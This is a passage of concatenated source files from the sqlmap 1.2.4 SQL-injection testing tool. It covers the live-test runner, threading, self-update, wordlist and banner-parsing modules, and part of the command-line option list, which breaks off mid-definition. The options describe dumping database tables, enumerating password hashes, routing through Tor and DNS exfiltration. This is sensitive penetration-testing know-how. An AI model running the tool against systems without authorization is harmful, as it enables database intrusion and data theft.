global_ = {} vars_ = {} livetests = readXmlFile(paths.LIVE_TESTS_XML) length = len(livetests.getElementsByTagName("case")) element = livetests.getElementsByTagName("global") if element: for item in element: for child in item.childNodes: if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): global_[child.tagName] = adjustValueType(child.tagName, child.getAttribute("value")) element = livetests.getElementsByTagName("vars") if element: for item in element: for child in item.childNodes: if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): var = child.getAttribute("value") vars_[child.tagName] = randomStr(6) if var == "random" else var for case in livetests.getElementsByTagName("case"): parse_from_console_output = False count += 1 name = None parse = [] switches = dict(global_) value = "" vulnerable = True result = None if case.hasAttribute("name"): name = case.getAttribute("name") if conf.runCase and ((conf.runCase.isdigit() and conf.runCase != count) or not re.search(conf.runCase, name, re.DOTALL)): continue if case.getElementsByTagName("switches"): for child in case.getElementsByTagName("switches")[0].childNodes: if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): value = replaceVars(child.getAttribute("value"), vars_) switches[child.tagName] = adjustValueType(child.tagName, value) if case.getElementsByTagName("parse"): for item in case.getElementsByTagName("parse")[0].getElementsByTagName("item"): if item.hasAttribute("value"): value = replaceVars(item.getAttribute("value"), vars_) if item.hasAttribute("console_output"): parse_from_console_output = bool(item.getAttribute("console_output")) parse.append((value, parse_from_console_output)) conf.verbose = global_.get("verbose", 1) setVerbosity() msg = "running live test case: %s (%d/%d)" % (name, count, length) logger.info(msg) initCase(switches, count) test_case_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "test_case"), "wb", UNICODE_ENCODING) test_case_fd.write("%s\n" % name) try: result = runCase(parse) except SqlmapNotVulnerableException: vulnerable = False finally: conf.verbose = global_.get("verbose", 1) setVerbosity() if result is True: logger.info("test passed") cleanCase() else: errMsg = "test failed" if _failures.failedItems: errMsg += " at parsing items: %s" % ", ".join(i for i in _failures.failedItems) errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH errMsg += " - traceback: %s" % bool(_failures.failedTraceBack) if not vulnerable: errMsg += " - SQL injection not detected" logger.error(errMsg) test_case_fd.write("%s\n" % errMsg) if _failures.failedParseOn: console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING) console_output_fd.write(_failures.failedParseOn) console_output_fd.close() if _failures.failedTraceBack: traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING) traceback_fd.write(_failures.failedTraceBack) traceback_fd.close() beep() if conf.stopFail is True: return retVal test_case_fd.close() retVal &= bool(result) dataToStdout("\n") if retVal: logger.info("live test final result: PASSED") else: logger.error("live test final result: FAILED") return retVal def initCase(switches, count): _failures.failedItems = [] _failures.failedParseOn = None _failures.failedTraceBack = None paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count)) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") logger.debug("using output directory '%s' for this test case" % paths.SQLMAP_OUTPUT_PATH) LOGGER_HANDLER.stream = sys.stdout = tempfile.SpooledTemporaryFile(max_size=0, mode="w+b", prefix="sqlmapstdout-") cmdLineOptions = cmdLineParser() if switches: for key, value in switches.items(): if key in cmdLineOptions.__dict__: cmdLineOptions.__dict__[key] = value initOptions(cmdLineOptions, True) init() def cleanCase(): shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True) def runCase(parse): retVal = True handled_exception = None unhandled_exception = None result = False console = "" try: result = start() except KeyboardInterrupt: pass except SqlmapBaseException, e: handled_exception = e except Exception, e: unhandled_exception = e finally: sys.stdout.seek(0) console = sys.stdout.read() LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__ if unhandled_exception: _failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc()) retVal = None elif handled_exception: _failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc()) retVal = None elif result is False: # this means no SQL injection has been detected - if None, ignore retVal = False console = getUnicode(console, encoding=sys.stdin.encoding) if parse and retVal: with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f: content = f.read() for item, parse_from_console_output in parse: parse_on = console if parse_from_console_output else content if item.startswith("r'") and item.endswith("'"): if not re.search(item[2:-1], parse_on, re.DOTALL): retVal = None _failures.failedItems.append(item) elif item not in parse_on: retVal = None _failures.failedItems.append(item) if _failures.failedItems: _failures.failedParseOn = console elif retVal is False: _failures.failedParseOn = console return retVal def replaceVars(item, vars_): retVal = item if item and vars_: for var in re.findall("\$\{([^}]+)\}", item): if var in vars_: retVal = retVal.replace("${%s}" % var, vars_[var]) return retVal sqlmap-1.2.4/lib/core/threads.py000066400000000000000000000150311326012263700165170ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import difflib import random import threading import time import traceback from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapValueException from lib.core.settings import MAX_NUMBER_OF_THREADS from lib.core.settings import PYVERSION shared = AttribDict() class _ThreadData(threading.local): """ Represents thread independent data """ def __init__(self): self.reset() def reset(self): """ Resets thread data model """ self.disableStdOut = False self.hashDBCursor = None self.inTransaction = False self.lastCode = None self.lastComparisonPage = None self.lastComparisonHeaders = None self.lastComparisonCode = None self.lastComparisonRatio = None self.lastErrorPage = None self.lastHTTPError = None self.lastRedirectMsg = None self.lastQueryDuration = 0 self.lastPage = None self.lastRequestMsg = None self.lastRequestUID = 0 self.lastRedirectURL = None self.random = random.WichmannHill() self.resumed = False self.retriesCount = 0 self.seqMatcher = difflib.SequenceMatcher(None) self.shared = shared self.validationRun = 0 self.valueStack = [] ThreadData = _ThreadData() def readInput(message, default=None, checkBatch=True, boolean=False): # It will be overwritten by original from lib.core.common pass def getCurrentThreadData(): """ Returns current thread's local data """ global ThreadData return ThreadData def getCurrentThreadName(): """ Returns current's thread name """ return threading.current_thread().getName() def exceptionHandledFunction(threadFunction, silent=False): try: threadFunction() except KeyboardInterrupt: kb.threadContinue = False kb.threadException = True raise except Exception, ex: if not silent: logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) if conf.verbose > 1: traceback.print_exc() def setDaemon(thread): # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation if PYVERSION >= "2.6": thread.daemon = True else: thread.setDaemon(True) def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): threads = [] kb.multiThreadMode = True kb.threadContinue = True kb.threadException = False if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): while True: message = "please enter number of threads? [Enter for %d (current)] " % numThreads choice = readInput(message, default=str(numThreads)) if choice: skipThreadCheck = False if choice.endswith('!'): choice = choice[:-1] skipThreadCheck = True if choice.isdigit(): if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck: errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS logger.critical(errMsg) else: conf.threads = numThreads = int(choice) break if numThreads == 1: warnMsg = "running in a single-thread mode. This could take a while" logger.warn(warnMsg) try: if numThreads > 1: if startThreadMsg: infoMsg = "starting %d threads" % numThreads logger.info(infoMsg) else: threadFunction() return # Start the threads for numThread in xrange(numThreads): thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[threadFunction]) setDaemon(thread) try: thread.start() except Exception, ex: errMsg = "error occurred while starting new thread ('%s')" % ex.message logger.critical(errMsg) break threads.append(thread) # And wait for them to all finish alive = True while alive: alive = False for thread in threads: if thread.isAlive(): alive = True time.sleep(0.1) except (KeyboardInterrupt, SqlmapUserQuitException), ex: print kb.threadContinue = False kb.threadException = True if numThreads > 1: logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else "")) try: while (threading.activeCount() > 1): pass except KeyboardInterrupt: raise SqlmapThreadException("user aborted (Ctrl+C was pressed multiple times)") if forwardException: raise except (SqlmapConnectionException, SqlmapValueException), ex: print kb.threadException = True logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) if conf.verbose > 1: traceback.print_exc() except: from lib.core.common import unhandledExceptionMessage print kb.threadException = True errMsg = unhandledExceptionMessage() logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) traceback.print_exc() finally: kb.multiThreadMode = False kb.bruteMode = False kb.threadContinue = True kb.threadException = False for lock in kb.locks.values(): if lock.locked(): try: lock.release() except: pass if conf.get("hashDB"): conf.hashDB.flush(True) if cleanupFunction: cleanupFunction() sqlmap-1.2.4/lib/core/unescaper.py000066400000000000000000000016411326012263700170540ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.data import conf from lib.core.datatype import AttribDict from lib.core.settings import EXCLUDE_UNESCAPE class Unescaper(AttribDict): def escape(self, expression, quote=True, dbms=None): if conf.noEscape: return expression if expression is None: return expression for exclude in EXCLUDE_UNESCAPE: if exclude in expression: return expression identifiedDbms = Backend.getIdentifiedDbms() if dbms is not None: return self[dbms](expression, quote=quote) elif identifiedDbms is not None: return self[identifiedDbms](expression, quote=quote) else: return expression unescaper = Unescaper() sqlmap-1.2.4/lib/core/update.py000066400000000000000000000124621326012263700163540ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import glob import os import re import shutil import subprocess import sys import time import urllib import zipfile from lib.core.common import dataToStdout from lib.core.common import getSafeExString from lib.core.common import pollProcess from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths from lib.core.revision import getRevisionNumber from lib.core.settings import GIT_REPOSITORY from lib.core.settings import IS_WIN from lib.core.settings import ZIPBALL_PAGE from lib.core.settings import UNICODE_ENCODING def update(): if not conf.updateAll: return success = False if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository " warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY logger.warn(warnMsg) message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]" if readInput(message, default='N', boolean=True): directory = os.path.abspath(paths.SQLMAP_ROOT_PATH) try: open(os.path.join(directory, "sqlmap.py"), "w+b") except Exception, ex: errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex)) logger.error(errMsg) else: for wildcard in ('*', ".*"): for _ in glob.glob(os.path.join(directory, wildcard)): try: if os.path.isdir(_): shutil.rmtree(_) else: os.remove(_) except: pass if glob.glob(os.path.join(directory, '*')): errMsg = "unable to clear the content of directory '%s'" % directory logger.error(errMsg) else: try: archive = urllib.urlretrieve(ZIPBALL_PAGE)[0] with zipfile.ZipFile(archive) as f: for info in f.infolist(): info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename) if info.filename: f.extract(info, directory) filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") if os.path.isfile(filepath): with open(filepath, "rb") as f: version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1) logger.info("updated to the latest version '%s#dev'" % version) success = True except Exception, ex: logger.error("update could not be completed ('%s')" % getSafeExString(ex)) else: if not success: logger.error("update could not be completed") else: infoMsg = "updating sqlmap to the latest development revision from the " infoMsg += "GitHub repository" logger.info(infoMsg) debugMsg = "sqlmap will try to update itself using 'git' command" logger.debug(debugMsg) dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X")) try: process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) pollProcess(process, True) stdout, stderr = process.communicate() success = not process.returncode except (IOError, OSError), ex: success = False stderr = getSafeExString(ex) if success: logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", getRevisionNumber())) else: if "Not a git repository" in stderr: errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository " errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY logger.error(errMsg) else: logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip()) if not success: if IS_WIN: infoMsg = "for Windows platform it's recommended " infoMsg += "to use a GitHub for Windows client for updating " infoMsg += "purposes (http://windows.github.com/) or just " infoMsg += "download the latest snapshot from " infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads" else: infoMsg = "for Linux platform it's recommended " infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')" logger.info(infoMsg) sqlmap-1.2.4/lib/core/wordlist.py000066400000000000000000000054521326012263700167420ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import zipfile from lib.core.common import getSafeExString from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapInstallationException class Wordlist(object): """ Iterator for looping over a large dictionaries """ def __init__(self, filenames, proc_id=None, proc_count=None, custom=None): self.filenames = filenames self.fp = None self.index = 0 self.counter = -1 self.current = None self.iter = None self.custom = custom or [] self.proc_id = proc_id self.proc_count = proc_count self.adjust() def __iter__(self): return self def adjust(self): self.closeFP() if self.index > len(self.filenames): raise StopIteration elif self.index == len(self.filenames): self.iter = iter(self.custom) else: self.current = self.filenames[self.index] if os.path.splitext(self.current)[1].lower() == ".zip": try: _ = zipfile.ZipFile(self.current, 'r') except zipfile.error, ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) if len(_.namelist()) == 0: errMsg = "no file(s) inside '%s'" % self.current raise SqlmapDataException(errMsg) self.fp = _.open(_.namelist()[0]) else: self.fp = open(self.current, 'r') self.iter = iter(self.fp) self.index += 1 def closeFP(self): if self.fp: self.fp.close() self.fp = None def next(self): retVal = None while True: self.counter += 1 try: retVal = self.iter.next().rstrip() except zipfile.error, ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) except StopIteration: self.adjust() retVal = self.iter.next().rstrip() if not self.proc_count or self.counter % self.proc_count == self.proc_id: break return retVal def rewind(self): self.index = 0 self.adjust() sqlmap-1.2.4/lib/parse/000077500000000000000000000000001326012263700146755ustar00rootroot00000000000000sqlmap-1.2.4/lib/parse/__init__.py000066400000000000000000000002221326012263700170020ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass sqlmap-1.2.4/lib/parse/banner.py000066400000000000000000000067331326012263700165250ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from xml.sax.handler import ContentHandler from lib.core.common import Backend from lib.core.common import parseXmlFile from lib.core.common import sanitizeStr from lib.core.data import kb from lib.core.data import paths from lib.core.enums import DBMS from lib.parse.handler import FingerprintHandler class MSSQLBannerHandler(ContentHandler): """ This class defines methods to parse and extract information from the given Microsoft SQL Server banner based upon the data in XML file """ def __init__(self, banner, info): ContentHandler.__init__(self) self._banner = sanitizeStr(banner) self._inVersion = False self._inServicePack = False self._release = None self._version = "" self._versionAlt = None self._servicePack = "" self._info = info def _feedInfo(self, key, value): value = sanitizeStr(value) if value in (None, "None"): return self._info[key] = value def startElement(self, name, attrs): if name == "signatures": self._release = sanitizeStr(attrs.get("release")) elif name == "version": self._inVersion = True elif name == "servicepack": self._inServicePack = True def characters(self, data): if self._inVersion: self._version += sanitizeStr(data) elif self._inServicePack: self._servicePack += sanitizeStr(data) def endElement(self, name): if name == "signature": for version in (self._version, self._versionAlt): if version and re.search(r" %s[\.\ ]+" % re.escape(version), self._banner): self._feedInfo("dbmsRelease", self._release) self._feedInfo("dbmsVersion", self._version) self._feedInfo("dbmsServicePack", self._servicePack) break self._version = "" self._versionAlt = None self._servicePack = "" elif name == "version": self._inVersion = False self._version = self._version.replace(" ", "") match = re.search(r"\A(?P\d+)\.00\.(?P\d+)\Z", self._version) self._versionAlt = "%s.0.%s.0" % (match.group('major'), match.group('build')) if match else None elif name == "servicepack": self._inServicePack = False self._servicePack = self._servicePack.replace(" ", "") def bannerParser(banner): """ This function calls a class to extract information from the given DBMS banner based upon the data in XML file """ xmlfile = None if Backend.isDbms(DBMS.MSSQL): xmlfile = paths.MSSQL_XML elif Backend.isDbms(DBMS.MYSQL): xmlfile = paths.MYSQL_XML elif Backend.isDbms(DBMS.ORACLE): xmlfile = paths.ORACLE_XML elif Backend.isDbms(DBMS.PGSQL): xmlfile = paths.PGSQL_XML if not xmlfile: return if Backend.isDbms(DBMS.MSSQL): handler = MSSQLBannerHandler(banner, kb.bannerFp) parseXmlFile(xmlfile, handler) handler = FingerprintHandler(banner, kb.bannerFp) parseXmlFile(paths.GENERIC_XML, handler) else: handler = FingerprintHandler(banner, kb.bannerFp) parseXmlFile(xmlfile, handler) parseXmlFile(paths.GENERIC_XML, handler) sqlmap-1.2.4/lib/parse/cmdline.py000066400000000000000000001217111326012263700166650ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import re import shlex import sys from optparse import OptionError from optparse import OptionGroup from optparse import OptionParser from optparse import SUPPRESS_HELP from lib.core.common import checkDeprecatedOptions from lib.core.common import checkSystemEncoding from lib.core.common import dataToStdout from lib.core.common import expandMnemonics from lib.core.common import getUnicode from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import logger from lib.core.defaults import defaults from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSyntaxException from lib.core.settings import BASIC_HELP_ITEMS from lib.core.settings import DUMMY_URL from lib.core.settings import IS_WIN from lib.core.settings import MAX_HELP_OPTION_LENGTH from lib.core.settings import VERSION_STRING from lib.core.shell import autoCompletion from lib.core.shell import clearHistory from lib.core.shell import loadHistory from lib.core.shell import saveHistory def cmdLineParser(argv=None): """ This function parses the command line parameters and arguments """ if not argv: argv = sys.argv checkSystemEncoding() # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding) usage = "%s%s [options]" % ("python " if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _) parser = OptionParser(usage=usage) try: parser.add_option("--hh", dest="advancedHelp", action="store_true", help="Show advanced help message and exit") parser.add_option("--version", dest="showVersion", action="store_true", help="Show program's version number and exit") parser.add_option("-v", dest="verbose", type="int", help="Verbosity level: 0-6 (default %d)" % defaults.verbose) # Target options target = OptionGroup(parser, "Target", "At least one of these " "options has to be provided to define the target(s)") target.add_option("-d", dest="direct", help="Connection string " "for direct database connection") target.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") target.add_option("-l", dest="logFile", help="Parse target(s) from Burp " "or WebScarab proxy log file") target.add_option("-x", dest="sitemapUrl", help="Parse target(s) from remote sitemap(.xml) file") target.add_option("-m", dest="bulkFile", help="Scan multiple targets given " "in a textual file ") target.add_option("-r", dest="requestFile", help="Load HTTP request from a file") target.add_option("-g", dest="googleDork", help="Process Google dork results as target URLs") target.add_option("-c", dest="configFile", help="Load options from a configuration INI file") # Request options request = OptionGroup(parser, "Request", "These options can be used " "to specify how to connect to the target URL") request.add_option("--method", dest="method", help="Force usage of given HTTP method (e.g. PUT)") request.add_option("--data", dest="data", help="Data string to be sent through POST") request.add_option("--param-del", dest="paramDel", help="Character used for splitting parameter values") request.add_option("--cookie", dest="cookie", help="HTTP Cookie header value") request.add_option("--cookie-del", dest="cookieDel", help="Character used for splitting cookie values") request.add_option("--load-cookies", dest="loadCookies", help="File containing cookies in Netscape/wget format") request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true", help="Ignore Set-Cookie header from response") request.add_option("--user-agent", dest="agent", help="HTTP User-Agent header value") request.add_option("--random-agent", dest="randomAgent", action="store_true", help="Use randomly selected HTTP User-Agent header value") request.add_option("--host", dest="host", help="HTTP Host header value") request.add_option("--referer", dest="referer", help="HTTP Referer header value") request.add_option("-H", "--header", dest="header", help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") request.add_option("--headers", dest="headers", help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") request.add_option("--auth-type", dest="authType", help="HTTP authentication type (Basic, Digest, NTLM or PKI)") request.add_option("--auth-cred", dest="authCred", help="HTTP authentication credentials (name:password)") request.add_option("--auth-file", dest="authFile", help="HTTP authentication PEM cert/private key file") request.add_option("--ignore-code", dest="ignoreCode", type="int", help="Ignore HTTP error code (e.g. 401)") request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true", help="Ignore system default proxy settings") request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true", help="Ignore redirection attempts") request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true", help="Ignore connection timeouts") request.add_option("--proxy", dest="proxy", help="Use a proxy to connect to the target URL") request.add_option("--proxy-cred", dest="proxyCred", help="Proxy authentication credentials (name:password)") request.add_option("--proxy-file", dest="proxyFile", help="Load proxy list from a file") request.add_option("--tor", dest="tor", action="store_true", help="Use Tor anonymity network") request.add_option("--tor-port", dest="torPort", help="Set Tor proxy port other than default") request.add_option("--tor-type", dest="torType", help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))") request.add_option("--check-tor", dest="checkTor", action="store_true", help="Check to see if Tor is used properly") request.add_option("--delay", dest="delay", type="float", help="Delay in seconds between each HTTP request") request.add_option("--timeout", dest="timeout", type="float", help="Seconds to wait before timeout connection (default %d)" % defaults.timeout) request.add_option("--retries", dest="retries", type="int", help="Retries when the connection timeouts (default %d)" % defaults.retries) request.add_option("--randomize", dest="rParam", help="Randomly change value for given parameter(s)") request.add_option("--safe-url", dest="safeUrl", help="URL address to visit frequently during testing") request.add_option("--safe-post", dest="safePost", help="POST data to send to a safe URL") request.add_option("--safe-req", dest="safeReqFile", help="Load safe HTTP request from a file") request.add_option("--safe-freq", dest="safeFreq", type="int", help="Test requests between two visits to a given safe URL") request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true", help="Skip URL encoding of payload data") request.add_option("--csrf-token", dest="csrfToken", help="Parameter used to hold anti-CSRF token") request.add_option("--csrf-url", dest="csrfUrl", help="URL address to visit to extract anti-CSRF token") request.add_option("--force-ssl", dest="forceSSL", action="store_true", help="Force usage of SSL/HTTPS") request.add_option("--hpp", dest="hpp", action="store_true", help="Use HTTP parameter pollution method") request.add_option("--eval", dest="evalCode", help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") # Optimization options optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap") optimization.add_option("-o", dest="optimize", action="store_true", help="Turn on all optimization switches") optimization.add_option("--predict-output", dest="predictOutput", action="store_true", help="Predict common queries output") optimization.add_option("--keep-alive", dest="keepAlive", action="store_true", help="Use persistent HTTP(s) connections") optimization.add_option("--null-connection", dest="nullConnection", action="store_true", help="Retrieve page length without actual HTTP response body") optimization.add_option("--threads", dest="threads", type="int", help="Max number of concurrent HTTP(s) " "requests (default %d)" % defaults.threads) # Injection options injection = OptionGroup(parser, "Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts") injection.add_option("-p", dest="testParameter", help="Testable parameter(s)") injection.add_option("--skip", dest="skip", help="Skip testing for given parameter(s)") injection.add_option("--skip-static", dest="skipStatic", action="store_true", help="Skip testing parameters that not appear to be dynamic") injection.add_option("--param-exclude", dest="paramExclude", help="Regexp to exclude parameters from testing (e.g. \"ses\")") injection.add_option("--dbms", dest="dbms", help="Force back-end DBMS to this value") injection.add_option("--dbms-cred", dest="dbmsCred", help="DBMS authentication credentials (user:password)") injection.add_option("--os", dest="os", help="Force back-end DBMS operating system to this value") injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true", help="Use big numbers for invalidating values") injection.add_option("--invalid-logical", dest="invalidLogical", action="store_true", help="Use logical operations for invalidating values") injection.add_option("--invalid-string", dest="invalidString", action="store_true", help="Use random strings for invalidating values") injection.add_option("--no-cast", dest="noCast", action="store_true", help="Turn off payload casting mechanism") injection.add_option("--no-escape", dest="noEscape", action="store_true", help="Turn off string escaping mechanism") injection.add_option("--prefix", dest="prefix", help="Injection payload prefix string") injection.add_option("--suffix", dest="suffix", help="Injection payload suffix string") injection.add_option("--tamper", dest="tamper", help="Use given script(s) for tampering injection data") # Detection options detection = OptionGroup(parser, "Detection", "These options can be used to customize the detection phase") detection.add_option("--level", dest="level", type="int", help="Level of tests to perform (1-5, default %d)" % defaults.level) detection.add_option("--risk", dest="risk", type="int", help="Risk of tests to perform (1-3, default %d)" % defaults.risk) detection.add_option("--string", dest="string", help="String to match when query is evaluated to True") detection.add_option("--not-string", dest="notString", help="String to match when query is evaluated to False") detection.add_option("--regexp", dest="regexp", help="Regexp to match when query is evaluated to True") detection.add_option("--code", dest="code", type="int", help="HTTP code to match when query is evaluated to True") detection.add_option("--text-only", dest="textOnly", action="store_true", help="Compare pages based only on the textual content") detection.add_option("--titles", dest="titles", action="store_true", help="Compare pages based only on their titles") # Techniques options techniques = OptionGroup(parser, "Techniques", "These options can be used to tweak testing of specific SQL injection techniques") techniques.add_option("--technique", dest="tech", help="SQL injection techniques to use (default \"%s\")" % defaults.tech) techniques.add_option("--time-sec", dest="timeSec", type="int", help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) techniques.add_option("--union-cols", dest="uCols", help="Range of columns to test for UNION query SQL injection") techniques.add_option("--union-char", dest="uChar", help="Character to use for bruteforcing number of columns") techniques.add_option("--union-from", dest="uFrom", help="Table to use in FROM part of UNION query SQL injection") techniques.add_option("--dns-domain", dest="dnsDomain", help="Domain name used for DNS exfiltration attack") techniques.add_option("--second-order", dest="secondOrder", help="Resulting page URL searched for second-order response") # Fingerprint options fingerprint = OptionGroup(parser, "Fingerprint") fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", action="store_true", help="Perform an extensive DBMS version fingerprint") # Enumeration options enumeration = OptionGroup(parser, "Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements") enumeration.add_option("-a", "--all", dest="getAll", action="store_true", help="Retrieve everything") enumeration.add_option("-b", "--banner", dest="getBanner", action="store_true", help="Retrieve DBMS banner") enumeration.add_option("--current-user", dest="getCurrentUser", action="store_true", help="Retrieve DBMS current user") enumeration.add_option("--current-db", dest="getCurrentDb", action="store_true", help="Retrieve DBMS current database") enumeration.add_option("--hostname", dest="getHostname", action="store_true", help="Retrieve DBMS server hostname") enumeration.add_option("--is-dba", dest="isDba", action="store_true", help="Detect if the DBMS current user is DBA") enumeration.add_option("--users", dest="getUsers", action="store_true", help="Enumerate DBMS users") enumeration.add_option("--passwords", dest="getPasswordHashes", action="store_true", help="Enumerate DBMS users password hashes") enumeration.add_option("--privileges", dest="getPrivileges", action="store_true", help="Enumerate DBMS users privileges") enumeration.add_option("--roles", dest="getRoles", action="store_true", help="Enumerate DBMS users roles") enumeration.add_option("--dbs", dest="getDbs", action="store_true", help="Enumerate DBMS databases") enumeration.add_option("--tables", dest="getTables", action="store_true", help="Enumerate DBMS database tables") enumeration.add_option("--columns", dest="getColumns", action="store_true", help="Enumerate DBMS database table columns") enumeration.add_option("--schema", dest="getSchema", action="store_true", help="Enumerate DBMS schema") enumeration.add_option("--count", dest="getCount", action="store_true", help="Retrieve number of entries for table(s)") enumeration.add_option("--dump", dest="dumpTable", action="store_true", help="Dump DBMS database table entries") enumeration.add_option("--dump-all", dest="dumpAll", action="store_true", help="Dump all DBMS databases tables entries") enumeration.add_option("--search", dest="search", action="store_true", help="Search column(s), table(s) and/or database name(s)") enumeration.add_option("--comments", dest="getComments", action="store_true", help="Retrieve DBMS comments") enumeration.add_option("-D", dest="db", help="DBMS database to enumerate") enumeration.add_option("-T", dest="tbl", help="DBMS database table(s) to enumerate") enumeration.add_option("-C", dest="col", help="DBMS database table column(s) to enumerate") enumeration.add_option("-X", dest="exclude", help="DBMS database identifier(s) to not enumerate") enumeration.add_option("-U", dest="user", help="DBMS user to enumerate") enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", action="store_true", help="Exclude DBMS system databases when enumerating tables") enumeration.add_option("--pivot-column", dest="pivotColumn", help="Pivot column name") enumeration.add_option("--where", dest="dumpWhere", help="Use WHERE condition while table dumping") enumeration.add_option("--start", dest="limitStart", type="int", help="First dump table entry to retrieve") enumeration.add_option("--stop", dest="limitStop", type="int", help="Last dump table entry to retrieve") enumeration.add_option("--first", 